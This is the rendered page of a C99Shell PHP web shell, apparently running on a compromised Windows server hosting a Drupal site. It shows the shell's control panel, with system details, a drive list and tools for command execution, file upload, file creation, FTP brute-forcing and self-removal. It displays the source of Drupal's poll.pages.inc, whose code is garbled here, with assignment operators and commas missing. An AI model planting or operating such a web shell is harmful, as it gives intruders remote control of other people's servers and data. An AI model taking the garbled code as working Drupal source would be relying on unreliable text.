!C99Shell v. 1.0 pre-release build #13!

Software: Apache. PHP/5.5.15 

uname -a: Windows NT SVR-DMZ 6.1 build 7600 (Windows Server 2008 R2 Enterprise Edition) i586 

SYSTEM 

Safe-mode: OFF (not secure)

E:\xampp\xampp\htdocs\htdocs\drupal\modules\poll\   drwxrwxrwx
Free 7.96 GB of 239.26 GB (3.33%)
Detected drives: [ a ] [ c ] [ d ] [ e ] [ f ]
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     poll.pages.inc (2.24 KB)      -rw-rw-rw-
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
// $Id: poll.pages.inc,v 1.4 2007/12/14 09:50:41 goba Exp $

/**
 * @file
 * User page callbacks for the poll module.
 */

/**
 * Menu callback to provide a simple list of all polls available.
 */
function poll_page() {
  
// List all polls.
  
$sql db_rewrite_sql("SELECT n.nid, n.title, p.active, n.created, SUM(c.chvotes) AS votes FROM {node} n INNER JOIN {poll} p ON n.nid = p.nid INNER JOIN {poll_choices} c ON n.nid = c.nid WHERE n.status = 1 GROUP BY n.nid, n.title, p.active, n.created ORDER BY n.created DESC");
  
// Count all polls for the pager.
  
$count_sql db_rewrite_sql('SELECT COUNT(*) FROM {node} n INNER JOIN {poll} p ON n.nid = p.nid WHERE n.status = 1');
  
$result pager_query($sql150$count_sql);
  
$output '<ul>';
  while (
$node db_fetch_object($result)) {
    
$output .= '<li>'l($node->title"node/$node->nid") .' - 'format_plural($node->votes'1 vote''@count votes') .' - '. ($node->active t('open') : t('closed')) .'</li>';
  }
  
$output .= '</ul>';
  
$output .= theme("pager"NULL15);
  return 
$output;
}

/**
 * Callback for the 'votes' tab for polls you can see other votes on
 */
function poll_votes($node) {
  
drupal_set_title(check_plain($node->title));
  
$output t('This table lists all the recorded votes for this poll. If anonymous users are allowed to vote, they will be identified by the IP address of the computer they used when they voted.');

  
$header[] = array('data' => t('Visitor'), 'field' => 'u.name');
  
$header[] = array('data' => t('Vote'), 'field' => 'pv.chorder');

  
$result pager_query("SELECT pv.chorder, pv.uid, pv.hostname, u.name FROM {poll_votes} pv LEFT JOIN {users} u ON pv.uid = u.uid WHERE pv.nid = %d"tablesort_sql($header), 200NULL$node->nid);
  
$rows = array();
  while (
$vote db_fetch_object($result)) {
    
$rows[] = array(
      
$vote->name theme('username'$vote) : check_plain($vote->hostname),
      
check_plain($node->choice[$vote->chorder]['chtext']));
  }
  
$output .= theme('table'$header$rows);
  
$output .= theme('pager'NULL200);
  return 
$output;
}

/**
 * Callback for the 'results' tab for polls you can vote on
 */
function poll_results($node) {
  
drupal_set_title(check_plain($node->title));
  
$node->show_results TRUE;
  return 
node_show($node0);
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 1.0 pre-release build #13 powered by Captain Crunch Security Team | http://ccteam.ru | Generation time: 0.0156 ]--